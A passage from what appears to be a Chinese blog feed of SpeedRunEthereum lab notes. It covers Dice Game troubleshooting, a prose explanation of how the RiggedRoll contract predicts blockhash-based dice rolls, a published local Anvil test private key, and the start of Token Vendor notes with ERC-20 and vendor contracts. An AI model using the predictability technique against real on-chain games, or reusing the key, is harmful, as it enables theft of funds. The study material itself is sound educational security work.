函数" ><figcaption>Debug Contracts 页面,RiggedRoll 没有 receive 函数</figcaption></figure></p><h3 id="坑-2:调-withdraw-报-OwnableUnauthorizedAccount"><a href="#坑-2:调-withdraw-报-OwnableUnauthorizedAccount" class="headerlink" title="坑 2:调 withdraw 报 OwnableUnauthorizedAccount"></a>坑 2:调 <code>withdraw</code> 报 <code>OwnableUnauthorizedAccount</code></h3><p><strong>现象</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">The contract function "withdraw" reverted with the following reason:</span><br><span class="line">OwnableUnauthorizedAccount(0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f17)</span><br></pre></td></tr></table></figure></div><p><strong>原因</strong>:前端钱包 <code>0x7FB2...7f17</code> 不是 owner。owner 是 Anvil deployer <code>0xa0Ee...7F17</code>(部署脚本默认账户)</p><p><strong>两条解决路</strong>:</p><ul><li><strong>A(推荐)</strong>:从 deployer 调 <code>transferOwnership(0x7FB2...7f17)</code>,把 owner 转给前端</li><li><strong>B</strong>:从 deployer 直接调 <code>withdraw</code>(不需要改 owner,但每次都要切到 deployer 账户)</li></ul><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-02-withdraw-unauthorized.png" alt="withdraw 失败的截图" ><figcaption>withdraw 失败的截图</figcaption></figure></p><h3 id="坑-3:dApp-顶部连接的地址-≠-MetaMask-账户"><a href="#坑-3:dApp-顶部连接的地址-≠-MetaMask-账户" class="headerlink" title="坑 3:dApp 顶部连接的地址 ≠ MetaMask 账户"></a>坑 3:dApp 顶部连接的地址 ≠ MetaMask 账户</h3><p><strong>现象</strong>:</p><ul><li>dApp 顶部显示 <code>0xf39F...2286</code>(Anvil index 0)</li><li>MetaMask 切到了 <code>0xa0Ee...7F17</code>(deployer)</li><li>调任何交易都是从 <code>0xf39F...2286</code> 发起 → 失败</li></ul><p><strong>原因</strong>:dApp 缓存了上次的连接,没跟着 MetaMask 切换</p><p><strong>解决</strong>:</p><ol><li>dApp 顶部点连接按钮 → <strong>Disconnect</strong></li><li>重新 <strong>Connect Wallet</strong></li><li>MetaMask 弹窗里<strong>选择正确的账户</strong>(这次是 <code>0xa0Ee...7F17</code>)</li><li>确认后 dApp 顶部才会更新</li></ol><blockquote><p>⚠️ 还有一个更隐蔽的信号:MetaMask 右下角 “localhost:3000 / Not connected” —— 如果显示 “Not connected”,说明根本没连上</p></blockquote><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-04-dapp-metamask-mismatch.png" alt="dApp 显示 0xf39F 但 MetaMask 是 0xa0Ee" ><figcaption>dApp 显示 0xf39F 但 MetaMask 是 0xa0Ee</figcaption></figure></p><h3 id="坑-4:导入-Anvil-deployer-私钥到-MetaMask"><a href="#坑-4:导入-Anvil-deployer-私钥到-MetaMask" class="headerlink" title="坑 4:导入 Anvil deployer 私钥到 MetaMask"></a>坑 4:导入 Anvil deployer 私钥到 MetaMask</h3><p><strong>私钥</strong>(来自 <code>packages/foundry/Makefile</code> 的 <code>setup-anvil-wallet</code>):</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6</span><br></pre></td></tr></table></figure></div><p><strong>对应地址</strong>:<code>0xa0Ee66B62968fAd9D267Ae52d8a116D71f5C7F17</code>(Anvil index 9)</p><blockquote><p>⚠️ <strong>这只是本地 Anvil 测试链的私钥</strong>,<strong>永远不要</strong>在主网或存有真实资产的账户上用这个私钥!</p></blockquote><h3 id="坑-5:用-0xa0Ee-调-transferOwnership-给自己,还是失败"><a href="#坑-5:用-0xa0Ee-调-transferOwnership-给自己,还是失败" class="headerlink" title="坑 5:用 0xa0Ee 调 transferOwnership 给自己,还是失败"></a>坑 5:用 <code>0xa0Ee</code> 调 <code>transferOwnership</code> 给自己,还是失败</h3><p><strong>现象</strong>:从 deployer 调 <code>transferOwnership(0x7FB2)</code> 报错 <code>OwnableUnauthorizedAccount(0xa0Ee...)</code></p><p><strong>原因</strong>:<code>transferOwnership</code> 自己也有 <code>onlyOwner</code> 保护,必须<strong>当前 owner</strong>(也是 deployer)才能调。看起来”我给自己转”语义怪,但代码就是要 owner 才能改 owner</p><p><strong>解决</strong>:从 <code>0xa0Ee</code> 调 <code>transferOwnership(0x7FB2)</code> 是<strong>对的</strong>,错的是发起的账户不是 <code>0xa0Ee</code>(参见坑 3)</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-03-transfer-ownership-fail.png" alt="transferOwnership 失败的截图" ><figcaption>transferOwnership 失败的截图</figcaption></figure></p><h3 id="坑-6:调-riggedRoll-反复是同一个数字(如-13)"><a href="#坑-6:调-riggedRoll-反复是同一个数字(如-13)" class="headerlink" title="坑 6:调 riggedRoll 反复是同一个数字(如 13)"></a>坑 6:调 <code>riggedRoll</code> 反复是同一个数字(如 13)</h3><p><strong>现象</strong>:连点几下 <code>riggedRoll</code> Send,每次都 <code>NotWinningRoll(13)</code></p><p><strong>原因</strong>:<code>riggedRoll</code> 算的是 <code>blockhash(block.number - 1)</code>,<strong>只有新区块才变</strong>。空区块 / 同区块连点 → 输入没变 → 输出永远是 13</p><p><strong>解决</strong>(任选一):</p><ul><li><strong>方法 1(推荐)</strong>:先点 “Roll the dice!” 输一次 → 新区块 + nonce++ → 下次 riggedRoll 就是新数</li><li><strong>方法 2</strong>:等几秒,等 Anvil 自己挖新区块</li><li><strong>方法 3</strong>:用 Debug Contracts 在 DiceGame 上调一次 <code>rollTheDice</code></li></ul><blockquote><p>看到 <code>NotWinningRoll(13)</code> <strong>不要慌</strong>——这是合约在<strong>主动放弃</strong>会输的掷骰,保护你的 0.002 ETH</p></blockquote><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-07-not-winning-roll-13.png" alt="riggedRoll 反复 NotWinningRoll(13)" ><figcaption>riggedRoll 反复 NotWinningRoll(13)</figcaption></figure></p><h3 id="坑-7:roll-7-没有-revert"><a href="#坑-7:roll-7-没有-revert" class="headerlink" title="坑 7:roll 7 没有 revert"></a>坑 7:roll 7 没有 revert</h3><p><strong>现象</strong>:用 “Roll the dice!” 按钮掷出 7(> 5),交易<strong>正常 confirm</strong> 没有 revert</p><p><strong>原因</strong>:这个按钮调的是 <code>DiceGame.rollTheDice()</code> <strong>直接调用</strong>,没有预测逻辑。输赢都正常扣钱</p><blockquote><p><strong>关键区分</strong>:</p><ul><li><strong>“Roll the dice!”</strong> → 普通玩家模式,输赢都扣钱,不 revert</li><li><strong>“Rigged Roll!”</strong> → 庄家模式,预测会输就 revert</li></ul></blockquote><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-06-roll-7-no-revert.png" alt="普通 Roll the dice 按钮掷出 7,没 revert" ><figcaption>普通 Roll the dice 按钮掷出 7,没 revert</figcaption></figure></p><h3 id="坑-8:withdraw-提完钱后-riggedRoll-报错-NotEnoughETH"><a href="#坑-8:withdraw-提完钱后-riggedRoll-报错-NotEnoughETH" class="headerlink" title="坑 8:withdraw 提完钱后 riggedRoll 报错 NotEnoughETH"></a>坑 8:<code>withdraw</code> 提完钱后 <code>riggedRoll</code> 报错 <code>NotEnoughETH</code></h3><p><strong>现象</strong>:提完 1.002 ETH 后再点 <code>riggedRoll</code> → <code>revert NotEnoughETH(0.002 ether, 0)</code></p><p><strong>原因</strong>:合约余额 = 0,没钱支付 roll 费</p><p><strong>解决</strong>:用 MetaMask Send 0.01 ETH 给 RiggedRoll 充钱再试</p><hr><h2 id="✅-成功截图:transferOwnership-withdraw-全部-Confirmed"><a href="#✅-成功截图:transferOwnership-withdraw-全部-Confirmed" class="headerlink" title="✅ 成功截图:transferOwnership + withdraw 全部 Confirmed"></a>✅ 成功截图:transferOwnership + withdraw 全部 Confirmed</h2><p><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-05-success.png" ></p><ul><li>✅ <code>owner</code> 字段 = dApp 顶部的 <code>0xa0Ee...9720</code></li><li>✅ RiggedRoll Balance = <code>0.0000 ETH</code>(钱全提走)</li><li>✅ MetaMask Activity 里 <code>Withdraw</code> + <code>Transfer Ownership</code> 都 Confirmed</li></ul><hr><h2 id="🧪-测试结果"><a href="#🧪-测试结果" class="headerlink" title="🧪 测试结果"></a>🧪 测试结果</h2><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ yarn <span class="built_in">test</span></span><br><span class="line">Ran 8 tests <span class="keyword">for</span> <span class="built_in">test</span>/RiggedRoll.t.sol:RiggedRollTest</span><br><span class="line">[PASS] test_Checkpoint1_ShouldAcceptETHTransfers() (gas: 5651)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldCallRollTheDiceForWinningRoll() (gas: 66238)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldDeployContracts() (gas: 9984)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldNotCallRollTheDiceForLosingRoll() (gas: 63245)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldRevertIfBalanceLessThanRollAmount() (gas: 8653)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldTransferSufficientETH() (gas: 5673)</span><br><span class="line">[PASS] test_Checkpoint3_ShouldRevertWithdrawWhenAmountExceedsBalance() (gas: 12130)</span><br><span class="line">[PASS] test_Checkpoint3_ShouldWithdrawFunds() (gas: 21062)</span><br><span class="line">Suite result: ok. 8 passed; 0 failed; 0 skipped</span><br></pre></td></tr></table></figure></div><hr><h2 id="🪞-反思-进阶思考"><a href="#🪞-反思-进阶思考" class="headerlink" title="🪞 反思 & 进阶思考"></a>🪞 反思 & 进阶思考</h2><h3 id="1-为什么-blockhash-不安全?(深度)"><a href="#1-为什么-blockhash-不安全?(深度)" class="headerlink" title="1. 为什么 blockhash 不安全?(深度)"></a>1. 为什么 <code>blockhash</code> 不安全?(深度)</h3><p>在 EVM 里:</p><ul><li><code>block.number</code> 是<strong>确定</strong>的(当前块号)</li><li><code>blockhash(block.number - 1)</code> 是<strong>最近 256 个块</strong>之一</li><li>一个区块一旦产出,<code>blockhash</code> 就<strong>永远不变</strong></li><li>在<strong>同一笔交易</strong>里,<code>block.number</code> 是定值 → <code>blockhash</code> 是定值</li></ul><p>所以<strong>任何同区块的合约都能算出</strong>你的”随机数”。这是 EVM <strong>同步性</strong>带来的根本限制。</p><h3 id="2-生产环境怎么做随机?"><a href="#2-生产环境怎么做随机?" class="headerlink" title="2. 生产环境怎么做随机?"></a>2. 生产环境怎么做随机?</h3><table><thead><tr><th>方案</th><th>原理</th><th>代表</th></tr></thead><tbody><tr><td><strong>Chainlink VRF</strong></td><td>链下 oracle 生成 + 链上验证(密码学证明)</td><td><a class="link" href="https://docs.chain.link/vrf" >chain.link/vrf<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Commit-Reveal</strong></td><td>玩家先提交 hash → 后揭示原数 → 防止同区块偷窥</td><td>Kleros 陪审员抽选</td></tr><tr><td><strong>RANDAO</strong></td><td>用验证者的 BLS 签名做种</td><td>以太坊 PoS beacon chain</td></tr><tr><td><strong>API3 QRNG</strong></td><td>量子随机数 + 链上验证</td><td>API3</td></tr></tbody></table><h3 id="3-攻击成立的边界"><a href="#3-攻击成立的边界" class="headerlink" title="3. 攻击成立的边界"></a>3. 攻击成立的边界</h3><p>RiggedRoll 的关键不是抢跑,而是在同一笔交易中先复算、后调用。只要 DiceGame 与攻击合约使用相同的 <code>blockhash</code>、目标地址和 <code>nonce</code>,预测结果就一致;新区块或 <code>nonce</code> 变化后必须重新计算。这个边界也解释了为什么失败预测会直接 revert,而不是继续支付 0.002 ETH。</p><h3 id="4-当前实现的设计边界"><a href="#4-当前实现的设计边界" class="headerlink" title="4. 当前实现的设计边界"></a>4. 当前实现的设计边界</h3><p>本次实现严格遵循挑战接口:<code>riggedRoll()</code> 使用合约已有余额支付 roll 费,<code>withdraw(address,uint256)</code> 由 <code>onlyOwner</code> 保护并支持按金额提现。没有额外加入 <code>payable</code> 入口或 <code>emergencyWithdraw</code>,避免改变题目要求的调用方式和测试接口。</p><hr><h2 id="📚-真实系统中的同类风险"><a href="#📚-真实系统中的同类风险" class="headerlink" title="📚 真实系统中的同类风险"></a>📚 真实系统中的同类风险</h2><table><thead><tr><th>场景</th><th>不安全做法</th><th>可能后果</th></tr></thead><tbody><tr><td>NFT 随机铸造</td><td>用 <code>blockhash</code>、区块号或时间戳决定稀有度</td><td>铸造结果可被模拟和选择</td></tr><tr><td>链上抽奖</td><td>用公开链上变量直接计算中奖号码</td><td>攻击合约只在中奖时参与</td></tr><tr><td>DeFi 排序敏感逻辑</td><td>把交易顺序或当前区块数据当作不可操纵输入</td><td>搜索者或区块构建者可利用排序获利</td></tr></tbody></table><blockquote><p><strong>经验法则</strong>:<strong>永远不要</strong>用任何链上数据(<code>blockhash</code>、<code>block.timestamp</code>、<code>block.prevrandao</code>、<code>difficulty</code>)做随机源。能被同区块合约算出来的东西就不是”随机”。</p></blockquote><hr><h2 id="🎯-部署与提交完成记录"><a href="#🎯-部署与提交完成记录" class="headerlink" title="🎯 部署与提交完成记录"></a>🎯 部署与提交完成记录</h2><ul><li>✅ 部署到 Sepolia:<code>yarn deploy --network sepolia</code>(已上链,见上方部署信息)</li><li>✅ Vercel 部署:<code>yarn vercel --prod</code>(生产 URL: <a class="link" href="https://dicegame-ky.vercel.app)/" >https://dicegame-ky.vercel.app)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>✅ <code>scaffold.config.ts</code> 的 <code>targetNetwork</code> 已切换为 <code>chains.sepolia</code>,线上前端连接 Sepolia</li><li>✅ 已通过 <code>yarn verify --network sepolia</code> 完成 Etherscan 源码验证</li><li>✅ 完成验证后已提交到 <a class="link" href="https://speedrunethereum.com/challenge/dice-game" >https://speedrunethereum.com/challenge/dice-game<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> 并通过</li></ul><hr><h2 id="💭-教学过程小记"><a href="#💭-教学过程小记" class="headerlink" title="💭 教学过程小记"></a>💭 教学过程小记</h2><p>这个挑战用的是 <strong>AI 引导式学习</strong>(<code>/start</code> skill 加载),流程是:</p><ol><li><strong>教 → 问 → 写代码 → 跑测试</strong> 循环</li><li>概念 checkpoint(带 <code>questions</code>)→ 先讲明白 → 回答问题 → 才开始写</li><li>代码 checkpoint(带 <code>task</code>)→ 讲清楚 → 用户写 → <code>check</code> 跑测试</li><li>进度保存在 <code>.challenge-ai/progress.json</code>,可以 <code>/start</code> 恢复</li></ol><p>这种模式比直接给答案更扎实 —— 我必须<strong>先理解概念</strong>才能继续。</p><p>按从第 0 关开始计数,Dice Game 是 Ethereum 101 的第 3 关,也是本阶段第 4 个、最后一个挑战;Tokenization、Crowdfunding、Token Vendor 与 Dice Game 均已完成。这个挑战的<strong>核心考点</strong>是「<code>blockhash</code> 不可用作随机源」+ 「<code>receive()</code> + <code>Ownable</code> 实战」+ 「<strong>怎么思考可预测性</strong>」。</p>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="合约安全" scheme="https://kylinxin.github.io/tags/%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
<category term="链上随机数" scheme="https://kylinxin.github.io/tags/%E9%93%BE%E4%B8%8A%E9%9A%8F%E6%9C%BA%E6%95%B0/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 02:Token Vendor</title>
<link href="https://kylinxin.github.io/2026/06/23/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AToken%20Vendor/"/>
<id>https://kylinxin.github.io/2026/06/23/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AToken%20Vendor/</id>
<published>2026-06-23T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 2 关 Token Vendor 聚焦 ERC-20、固定汇率买卖、approve / transferFrom 授权、Ownable 权限控制、Sepolia 部署、Etherscan 验证和前端上线。</p></blockquote><blockquote><p><strong>Challenge</strong>: <a class="link" href="https://speedrunethereum.com/challenge/token-vendor" >speedrunethereum.com/challenge/token-vendor<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><strong>状态</strong>: ✅ ACCEPTED(Ethereum 101 · 5/5)<br><strong>框架</strong>: Foundry<br><strong>日期</strong>: 2026/06/23<br><strong>XP</strong>: +10</p></blockquote><hr><h2 id="📋-项目总览"><a href="#📋-项目总览" class="headerlink" title="📋 项目总览"></a>📋 项目总览</h2><p>去中心化<strong>自动售货机</strong> dApp,两个合约组成:</p><ul><li><strong>YourToken</strong>:OpenZeppelin ERC-20(<code>Gold</code>/<code>GLD</code>),部署时铸造 1000 个</li><li><strong>Vendor</strong>:1 ETH = 100 GLD 的固定汇率合约,支持双向交易(买/卖)</li></ul><h3 id="真实场景"><a href="#真实场景" class="headerlink" title="真实场景"></a>真实场景</h3><p>Token Vendor 模式是**自动做市商(AMM)**的最简形态,这个模式直接对应 DeFi 的核心协议:</p><ul><li><strong>Uniswap</strong>:从固定汇率 → 恒定乘积(x·y=k)定价曲线的高级版。每天处理数十亿美元交易,无订单簿、无中介。</li><li><strong>ERC-20 approve 模式</strong>:你在这里写的 <code>approve</code> + <code>transferFrom</code> 是 <strong>DeFi 通用机制</strong>——Uniswap、Aave、Compound 全部用这个模式做合约间转账。</li><li><strong>Ownable withdraw</strong>:最简单的访问控制——只有 owner 能提 ETH。生产协议延伸为 timelock、multisig、DAO 治理。</li><li><strong>Token economics</strong>:固定供应 + Vendor 分发 = 简单代币分配机制,真实项目用 bonding curve、auction、airdrop,但核心一样。</li></ul><p><strong>关键洞察</strong>:Vendor 是 <strong>trustless</strong> 的——用户不需要信任你,他们在合约代码里<strong>验证</strong>汇率。任何人都可以审计,任何人都能交易。<strong>这是 DeFi 的基石</strong>:用透明、可审计的代码替代可信中介(银行、券商、交易所)。</p><hr><h2 id="🚀-部署信息(我的-Sepolia-上线)"><a href="#🚀-部署信息(我的-Sepolia-上线)" class="headerlink" title="🚀 部署信息(我的 Sepolia 上线)"></a>🚀 部署信息(我的 Sepolia 上线)</h2><table><thead><tr><th>项目</th><th>值</th></tr></thead><tbody><tr><td><strong>YourToken</strong></td><td><code>0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9</code></td></tr><tr><td><strong>Vendor</strong></td><td><code>0x657F8DC030c2756CFA4649695f9b8ED640f4554B</code></td></tr><tr><td><strong>Deployer(keystore <code>kylinxin</code>)</strong></td><td><code>0x6d1cd1d9f7226de5af18a7f9fd64e3aa6e81ca04</code></td></tr><tr><td><strong>Vendor Owner(前端钱包)</strong></td><td><code>0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7</code></td></tr><tr><td><strong>Vercel</strong></td><td><a class="link" href="https://token-vendor-ky.vercel.app/" >https://token-vendor-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Etherscan(YourToken)</strong></td><td><a class="link" href="https://sepolia.etherscan.io/address/0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9" >https://sepolia.etherscan.io/address/0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Etherscan(Vendor)</strong></td><td><a class="link" href="https://sepolia.etherscan.io/address/0x657F8DC030c2756CFA4649695f9b8ED640f4554B" >https://sepolia.etherscan.io/address/0x657F8DC030c2756CFA4649695f9b8ED640f4554B<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>部署区块</strong></td><td>11122928</td></tr><tr><td><strong>部署总费用</strong></td><td>0.00226 ETH(4 笔交易)</td></tr><tr><td><strong>网络</strong></td><td>Sepolia(chain id 11155111)</td></tr></tbody></table><h3 id="链上验证数据"><a href="#链上验证数据" class="headerlink" title="链上验证数据"></a>链上验证数据</h3><table><thead><tr><th>检查项</th><th>期望</th><th>实际</th></tr></thead><tbody><tr><td>YourToken bytecode</td><td>> 0</td><td>3573 chars ✅</td></tr><tr><td>YourToken name / symbol</td><td>“Gold” / “GLD”</td><td>✅</td></tr><tr><td>YourToken totalSupply</td><td>1000 ether</td><td>1e21 wei ✅</td></tr><tr><td>Vendor bytecode</td><td>> 0</td><td>3837 chars ✅</td></tr><tr><td>Vendor owner</td><td><code>0x7FB2...</code></td><td>✅</td></tr><tr><td>Vendor tokensPerEth</td><td>100</td><td>100 ✅</td></tr><tr><td>Vendor.yourToken 指向</td><td>YourToken 地址</td><td>✅</td></tr><tr><td>Vendor GLD 余额</td><td>1000 ether</td><td>1e21 wei ✅</td></tr></tbody></table><hr><h2 id="📜-最终合约代码"><a href="#📜-最终合约代码" class="headerlink" title="📜 最终合约代码"></a>📜 最终合约代码</h2><h3 id="YourToken-sol"><a href="#YourToken-sol" class="headerlink" title="YourToken.sol"></a><code>YourToken.sol</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity 0.8.20;</span><br><span class="line"></span><br><span class="line">import "@openzeppelin/contracts/token/ERC20/ERC20.sol";</span><br><span class="line"></span><br><span class="line">contract YourToken is ERC20 {</span><br><span class="line"> constructor() ERC20("Gold", "GLD") {</span><br><span class="line"> // 部署时一次性铸造 1000 GLD 给 deployer</span><br><span class="line"> // 1000 * 10**18 = 1e21 wei(ERC-20 默认 18 位小数)</span><br><span class="line"> _mint(msg.sender, 1000 * 10 ** 18);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="Vendor-sol"><a href="#Vendor-sol" class="headerlink" title="Vendor.sol"></a><code>Vendor.sol</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity 0.8.20;</span><br><span class="line"></span><br><span class="line">import "@openzeppelin/contracts/access/Ownable.sol";</span><br><span class="line">import "./YourToken.sol";</span><br><span class="line"></span><br><span class="line">contract Vendor is Ownable {</span><br><span class="line"> /////////////////</span><br><span class="line"> /// Errors //////</span><br><span class="line"> /////////////////</span><br><span class="line"> error InvalidEthAmount();</span><br><span class="line"> error InsufficientVendorTokenBalance(uint256 vendorBalance, uint256 requestedAmount);</span><br><span class="line"> error InvalidTokenAmount();</span><br><span class="line"> error InsufficientVendorEthBalance(uint256 vendorBalance, uint256 requestedAmount);</span><br><span class="line"> error EthTransferFailed(address to, uint256 amount);</span><br><span class="line"></span><br><span class="line"> //////////////////////</span><br><span class="line"> /// State Variables //</span><br><span class="line"> //////////////////////</span><br><span class="line"> YourToken public immutable yourToken;</span><br><span class="line"> uint256 public constant tokensPerEth = 100; // 1 ETH = 100 GLD</span><br><span class="line"></span><br><span class="line"> ////////////////</span><br><span class="line"> /// Events /////</span><br><span class="line"> ////////////////</span><br><span class="line"> event BuyTokens(address indexed buyer, uint256 amountOfETH, uint256 amountOfTokens);</span><br><span class="line"> event SellTokens(address indexed seller, uint256 amountOfTokens, uint256 amountOfETH);</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Constructor ///</span><br><span class="line"> ///////////////////</span><br><span class="line"> constructor(address tokenAddress) Ownable(msg.sender) {</span><br><span class="line"> yourToken = YourToken(tokenAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Functions /////</span><br><span class="line"> ///////////////////</span><br><span class="line"></span><br><span class="line"> // CP2:用 ETH 买 GLD</span><br><span class="line"> function buyTokens() external payable {</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount();</span><br><span class="line"> uint256 amountToBuy = msg.value * tokensPerEth;</span><br><span class="line"></span><br><span class="line"> uint256 vendorBalance = yourToken.balanceOf(address(this));</span><br><span class="line"> if (vendorBalance < amountToBuy) {</span><br><span class="line"> revert InsufficientVendorTokenBalance(vendorBalance, amountToBuy);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> bool sent = yourToken.transfer(msg.sender, amountToBuy);</span><br><span class="line"> require(sent, "Failed to transfer tokens");</span><br><span class="line"></span><br><span class="line"> emit BuyTokens(msg.sender, msg.value, amountToBuy);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // CP3:Owner 提取 Vendor 积累的 ETH</span><br><span class="line"> function withdraw() public onlyOwner {</span><br><span class="line"> uint256 ownerAmount = address(this).balance;</span><br><span class="line"> (bool sent, ) = owner().call{value: ownerAmount}("");</span><br><span class="line"> if (!sent) revert EthTransferFailed(owner(), ownerAmount);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // CP4:用 GLD 卖回给 Vendor 拿 ETH</span><br><span class="line"> function sellTokens(uint256 amount) public {</span><br><span class="line"> if (amount == 0) revert InvalidTokenAmount();</span><br><span class="line"></span><br><span class="line"> uint256 amountOfETH = amount / tokensPerEth; // 整数除法,向下取整</span><br><span class="line"> if (address(this).balance < amountOfETH) {</span><br><span class="line"> revert InsufficientVendorEthBalance(address(this).balance, amountOfETH);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> yourToken.transferFrom(msg.sender, address(this), amount); // 从卖家拉</span><br><span class="line"></span><br><span class="line"> (bool sent, ) = msg.sender.call{value: amountOfETH}("");</span><br><span class="line"> if (!sent) revert EthTransferFailed(msg.sender, amountOfETH);</span><br><span class="line"></span><br><span class="line"> emit SellTokens(msg.sender, amount, amountOfETH);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>测试结果</strong>:<code>yarn test</code> → <strong>14/14 PASSED</strong>(CP1: 2, CP2: 5, CP3: 3, CP4: 4)</p><hr><h2 id="🧠-核心知识点"><a href="#🧠-核心知识点" class="headerlink" 